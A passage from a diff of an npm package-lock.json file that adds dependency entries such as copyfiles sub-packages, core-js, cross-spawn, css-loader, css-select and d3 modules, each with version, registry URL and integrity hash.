"sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/copyfiles/node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/copyfiles/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/copyfiles/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/copyfiles/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/copyfiles/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/copyfiles/node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true, + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/copyfiles/node_modules/string-width": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", + "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/copyfiles/node_modules/strip-ansi": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", + "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/copyfiles/node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/copyfiles/node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/copyfiles/node_modules/yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/copyfiles/node_modules/yargs-parser": { + "version": "20.2.7", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.7.tgz", + "integrity": "sha512-FiNkvbeHzB/syOjIUxFDCnhSfzAL8R5vs40MgLFBorXACCOAEaWu0gRZl14vG8MR9AOJIZbmkjhusqBYZ3HTHw==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/core-js": { + "version": "3.18.2", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.18.2.tgz", + "integrity": "sha512-zNhPOUoSgoizoSQFdX1MeZO16ORRb9FFQLts8gSYbZU5FcgXhp24iMWMxnOQo5uIaIG7/6FA/IqJPwev1o9ZXQ==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat": { + "version": "3.18.2", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.18.2.tgz", + "integrity": "sha512-25VJYCJtGjZwLguj7d66oiHfmnVw3TMOZ0zV8DyMJp/aeQ3OjR519iOOeck08HMyVVRAqXxafc2Hl+5QstJrsQ==", + "dev": true, + "dependencies": { + "browserslist": "^4.17.3", + "semver": "7.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat/node_modules/semver": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.0.0.tgz", + "integrity": "sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/core-js-pure": { + "version": "3.18.3", + "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.18.3.tgz", + "integrity": "sha512-qfskyO/KjtbYn09bn1IPkuhHl5PlJ6IzJ9s9sraJ1EqcuGyLGKzhSM1cY0zgyL9hx42eulQLZ6WaeK5ycJCkqw==", + "hasInstallScript": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", + "dev": true + }, + "node_modules/cosmiconfig": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz", + "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.1.0", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.7.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/create-react-class": { + "version": "15.6.2", + "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.2.tgz", + "integrity": "sha1-zx7RXxKq1/FO9fLf4F5sQvke8Co=", + "dependencies": { + "fbjs": "^0.8.9", + "loose-envify": "^1.3.1", + "object-assign": "^4.1.1" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/cross-spawn/node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/cross-spawn/node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cross-spawn/node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/cross-spawn/node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/css-loader": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.6.0.tgz", + "integrity": "sha512-M5lSukoWi1If8dhQAUCvj4H8vUt3vOnwbQBH9DdTm/s4Ym2B/3dPMtYZeJmq7Q3S3Pa+I94DcZ7pc9bP14cWIQ==", + "dev": true, + "dependencies": { + "camelcase": "^5.3.1", + "cssesc": "^3.0.0", + "icss-utils": "^4.1.1", + "loader-utils": "^1.2.3", + "normalize-path": "^3.0.0", + "postcss": "^7.0.32", + "postcss-modules-extract-imports": "^2.0.0", + "postcss-modules-local-by-default": "^3.0.2", + "postcss-modules-scope": "^2.2.0", + "postcss-modules-values": "^3.0.0", + "postcss-value-parser": "^4.1.0", + "schema-utils": "^2.7.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/css-loader/node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/css-loader/node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true, + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/css-loader/node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/css-loader/node_modules/schema-utils": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/css-loader/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/css-select": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.1.3.tgz", + "integrity": "sha512-gT3wBNd9Nj49rAbmtFHj1cljIAOLYSX1nZ8CB7TBO3INYckygm5B7LISU/szY//YmdiSLbJvDLOx9VnMVpMBxA==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^5.0.0", + "domhandler": "^4.2.0", + "domutils": "^2.6.0", + "nth-check": "^2.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-select/node_modules/dom-serializer": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.2.tgz", + "integrity": "sha512-5c54Bk5Dw4qAxNOI1pFEizPSjVsx5+bpJKmL2kPn8JhBUq2q09tTCa3mjijun2NfK78NMouDYNMBkOrPZiS+ig==", + "dev": true, + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/css-select/node_modules/domelementtype": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", + "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ] + }, + "node_modules/css-select/node_modules/domhandler": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.2.2.tgz", + "integrity": "sha512-PzE9aBMsdZO8TK4BnuJwH0QT41wgMbRzuZrHUcpYncEjmQazq8QEaBWgLG7ZyC/DAZKEgglpIA6j4Qn/HmxS3w==", + "dev": true, + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/css-select/node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dev": true, + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/css-vendor": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/css-vendor/-/css-vendor-2.0.8.tgz", + "integrity": "sha512-x9Aq0XTInxrkuFeHKbYC7zWY8ai7qJ04Kxd9MnvbC1uO5DagxoHQjm4JvG+vCdXOoFtCjbL2XSZfxmoYa9uQVQ==", + "dependencies": { + "@babel/runtime": "^7.8.3", + "is-in-browser": "^1.0.2" + } + }, + "node_modules/css-what": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-5.0.1.tgz", + "integrity": "sha512-FYDTSHb/7KXsWICVsxdmiExPjCfRC4qRFBdVwv7Ax9hMnvMmEjP9RfxTEZ3qPZGmADDn2vAKSo9UcN1jKVYscg==", + "dev": true, + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/csstype": { + "version": "2.6.10", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.10.tgz", + "integrity": "sha512-D34BqZU4cIlMCY93rZHbrq9pjTAQJ3U8S8rfBqjwHxkGPThWFjzZDQpgMJY0QViLxth6ZKYiwFBo14RdN44U/w==" + }, + "node_modules/d3": { + "version": "5.16.0", + "resolved": "https://registry.npmjs.org/d3/-/d3-5.16.0.tgz", + "integrity": "sha512-4PL5hHaHwX4m7Zr1UapXW23apo6pexCgdetdJ5kTmADpG/7T9Gkxw0M0tf/pjoB63ezCCm0u5UaFYy2aMt0Mcw==", + "dependencies": { + "d3-array": "1", + "d3-axis": "1", + "d3-brush": "1", + "d3-chord": "1", + "d3-collection": "1", + "d3-color": "1", + "d3-contour": "1", + "d3-dispatch": "1", + "d3-drag": "1", + "d3-dsv": "1", + "d3-ease": "1", + "d3-fetch": "1", + "d3-force": "1", + "d3-format": "1", + "d3-geo": "1", + "d3-hierarchy": "1", + "d3-interpolate": "1", + "d3-path": "1", + "d3-polygon": "1", + "d3-quadtree": "1", + "d3-random": "1", + "d3-scale": "2", + "d3-scale-chromatic": "1", + "d3-selection": "1", + "d3-shape": "1", + "d3-time": "1", + "d3-time-format": "2", + "d3-timer": "1", + "d3-transition": "1", + "d3-voronoi": "1", + "d3-zoom": "1" + } + }, + "node_modules/d3-array": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-1.2.4.tgz", + "integrity": "sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw==" + }, + "node_modules/d3-axis": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-1.0.12.tgz", + "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ==" + }, + "node_modules/d3-brush": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.5.tgz", + "integrity": "sha512-rEaJ5gHlgLxXugWjIkolTA0OyMvw8UWU1imYXy1v642XyyswmI1ybKOv05Ft+ewq+TFmdliD3VuK0pRp1VT/5A==", + "dependencies": { + "d3-dispatch": "1", + "d3-drag": "1", + "d3-interpolate": "1", + "d3-selection": "1", + "d3-transition": "1" + } + }, + "node_modules/d3-chord": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz", + "integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==", + "dependencies": { + "d3-array": "1", + "d3-path": "1" + } + }, + "node_modules/d3-collection": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-collection/-/d3-collection-1.0.7.tgz", + "integrity": "sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A==" + }, + "node_modules/d3-color": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.4.1.tgz", + "integrity": "sha512-p2sTHSLCJI2QKunbGb7ocOh7DgTAn8IrLx21QRc/BSnodXM4sv6aLQlnfpvehFMLZEfBc6g9pH9SWQccFYfJ9Q==" + }, + "node_modules/d3-contour": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz", + "integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==", + "dependencies": { + "d3-array": "^1.1.1" + } + }, + "node_modules/d3-dispatch": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.6.tgz", + "integrity": "sha512-fVjoElzjhCEy+Hbn8KygnmMS7Or0a9sI2UzGwoB7cCtvI1XpVN9GpoYlnb3xt2YV66oXYb1fLJ8GMvP4hdU1RA==" + }, + "node_modules/d3-drag": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.5.tgz", + "integrity": "sha512-rD1ohlkKQwMZYkQlYVCrSFxsWPzI97+W+PaEIBNTMxRuxz9RF0Hi5nJWHGVJ3Om9d2fRTe1yOBINJyy/ahV95w==", + "dependencies": { + "d3-dispatch": "1", + "d3-selection": "1" + } + }, + "node_modules/d3-dsv": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.2.0.tgz", + "integrity": "sha512-9yVlqvZcSOMhCYzniHE7EVUws7Fa1zgw+/EAV2BxJoG3ME19V6BQFBwI855XQDsxyOuG7NibqRMTtiF/Qup46g==", + "dependencies": { + "commander": "2", + "iconv-lite": "0.4", + "rw": "1" + }, + "bin": { + "csv2json": "bin/dsv2json", + "csv2tsv": "bin/dsv2dsv", + "dsv2dsv": "bin/dsv2dsv", + "dsv2json": "bin/dsv2json", + "json2csv": "bin/json2dsv", + "json2dsv": "bin/json2dsv", + "json2tsv": "bin/json2dsv", + "tsv2csv": "bin/dsv2dsv", + "tsv2json": "bin/dsv2json" + } + }, + "node_modules/d3-ease": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.6.tgz", + "integrity": "sha512-SZ/lVU7LRXafqp7XtIcBdxnWl8yyLpgOmzAk0mWBI9gXNzLDx5ybZgnRbH9dN/yY5tzVBqCQ9avltSnqVwessQ==" + }, + "node_modules/d3-fetch": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.1.2.tgz", + "integrity": "sha512-S2loaQCV/ZeyTyIF2oP8D1K9Z4QizUzW7cWeAOAS4U88qOt3Ucf6GsmgthuYSdyB2HyEm4CeGvkQxWsmInsIVA==", + "dependencies": { + "d3-dsv": "1" + } + }, + "node_modules/d3-force": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz", + "integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==", + "dependencies": { + "d3-collection": "1", + "d3-dispatch": "1", + "d3-quadtree": "1", + "d3-timer": "1" + } + }, + "node_modules/d3-format": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.4.4.tgz", + "integrity": "sha512-TWks25e7t8/cqctxCmxpUuzZN11QxIA7YrMbram94zMQ0PXjE4LVIMe/f6a4+xxL8HQ3OsAFULOINQi1pE62Aw==" + }, + "node_modules/d3-geo": { + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.12.0.tgz", + "integrity": "sha512-NalZVW+6/SpbKcnl+BCO67m8gX+nGeJdo6oGL9H6BRUGUL1e+AtPcP4vE4TwCQ/gl8y5KE7QvBzrLn+HsKIl+w==", + "dependencies": { + "d3-array": "1" + } + }, + "node_modules/d3-hierarchy": { + "version": "1.1.9", + "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.9.tgz", + "integrity": "sha512-j8tPxlqh1srJHAtxfvOUwKNYJkQuBFdM1+JAUfq6xqH5eAqf93L7oG1NVqDa4CpFZNvnNKtCYEUC8KY9yEn9lQ==" + }, + "node_modules/d3-interpolate": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.4.0.tgz", + "integrity": "sha512-V9znK0zc3jOPV4VD2zZn0sDhZU3WAE2bmlxdIwwQPPzPjvyLkd8B3JUVdS1IDUFDkWZ72c9qnv1GK2ZagTZ8EA==", + "dependencies": { + "d3-color": "1" + } + }, + "node_modules/d3-path": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.9.tgz", + "integrity": "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==" + }, + "node_modules/d3-polygon": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.6.tgz", + "integrity": "sha512-k+RF7WvI08PC8reEoXa/w2nSg5AUMTi+peBD9cmFc+0ixHfbs4QmxxkarVal1IkVkgxVuk9JSHhJURHiyHKAuQ==" + }, + "node_modules/d3-quadtree": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-1.0.7.tgz", + "integrity": "sha512-RKPAeXnkC59IDGD0Wu5mANy0Q2V28L+fNe65pOCXVdVuTJS3WPKaJlFHer32Rbh9gIo9qMuJXio8ra4+YmIymA==" + }, + "node_modules/d3-random": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-1.1.2.tgz", + "integrity": "sha512-6AK5BNpIFqP+cx/sreKzNjWbwZQCSUatxq+pPRmFIQaWuoD+NrbVWw7YWpHiXpCQ/NanKdtGDuB+VQcZDaEmYQ==" + }, + "node_modules/d3-scale": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-2.2.2.tgz", + "integrity": "sha512-LbeEvGgIb8UMcAa0EATLNX0lelKWGYDQiPdHj+gLblGVhGLyNbaCn3EvrJf0A3Y/uOOU5aD6MTh5ZFCdEwGiCw==", + "dependencies": { + "d3-array": "^1.2.0", + "d3-collection": "1", + "d3-format": "1", + "d3-interpolate": "1", + "d3-time": "1", + "d3-time-format": "2" + } + }, + "node_modules/d3-scale-chromatic": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-1.5.0.tgz", + "integrity": "sha512-ACcL46DYImpRFMBcpk9HhtIyC7bTBR4fNOPxwVSl0LfulDAwyiHyPOTqcDG1+t5d4P9W7t/2NAuWu59aKko/cg==", + "dependencies": { + "d3-color": "1", + "d3-interpolate": "1" + } + }, + "node_modules/d3-selection": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-1.4.1.tgz", + "integrity": "sha512-BTIbRjv/m5rcVTfBs4AMBLKs4x8XaaLkwm28KWu9S2vKNqXkXt2AH2Qf0sdPZHjFxcWg/YL53zcqAz+3g4/7PA==" + }, + "node_modules/d3-shape": { + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.7.tgz", + "integrity": "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==", + "dependencies": { + "d3-path": "1" + } + }, + "node_modules/d3-time": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-1.1.0.tgz", + "integrity": "sha512-Xh0isrZ5rPYYdqhAVk8VLnMEidhz5aP7htAADH6MfzgmmicPkTo8LhkLxci61/lCB7n7UmE3bN0leRt+qvkLxA==" + }, + "node_modules/d3-time-format": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-2.2.3.tgz", + "integrity": 